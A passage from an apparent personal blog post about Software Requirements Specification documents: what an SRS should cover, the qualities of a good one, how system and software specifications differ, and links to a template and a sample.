Serve as a basis for enhancement.<br />
<br />
<b>What should the SRS address to?</b><br />
<br />
Functionality: What is the software supposed to do?<br />
External Interfaces: How does the software interact with people, the system’s hardware, other hardware, and other software?<br />
Performance: What is the speed, availability, response time, recovery time of various software functions, etc.?<br />
Attributes: What are the portability, correctness, maintainability, security, etc. considerations?<br />
Design constraints imposed on an implementation. Are there any required standards in effect, implementation language, policies for database integrity, resource limits, operating environment(s) etc.?<br />
<br />
<b>What are the characteristics of a good SRS?
</b><br />
<br />
A SRS should be:
Correct
<br />
Unambiguous
<br />
Complete
<br />
Consistent
<br />
Ranked for importance and/or stability
<br />
Verifiable
<br />
Modifiable
<br />
Traceable<br />
<br />
<b>Difference between System Specification and Software Specification:
</b><br />
<br />
Very often we find that companies don’t understand the difference between System Specification and Software Specification. Important issues are not defined up front and Mechanical, Electronic and Software designers do not really know what their requirements are.
<br />
The following is a high level list of requirements that should be addressed in a System Specification:
<br />
Define the functions of the system
<br />
Define the Hardware/Software Functional Partitioning
<br />
Define the Performance Specification
<br />
Define the Hardware/Software Performance Partitioning
<br />
Define Safety Requirements
<br />
Define the User Interface (A good user’s manual is often an overlooked part of the System specification. Many of our customers haven’t even considered that this is the right time to write the user’s manual)
<br />
Provide Installation Drawings/Instructions
<br />
Provide Interface Control Drawings (ICD’s, External I/O)
<br />
<br />
<blockquote>
<b>Download SRS Template</b></blockquote>
<br />
<br />
Here is the SRS Template by Karl Weigers<br />
<a href="http://www.processimpact.com/">Download SRS Template</a> If this link is not working,then go to this source(Source – www.processimpact.com)<br />
<br />
<b>Download SRS Sample</b>
<br />
<br />
I did google and found a nice and simple SRS sample (didn’t get the author info). Hope this will help you. <br />
Download Sample SRS for Online Examination System
<br />
<br />
<br />
<br />
<i>This is my first article.I hope you will like it.<br />
If there is some error then plz suggest me for correction</i></div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com2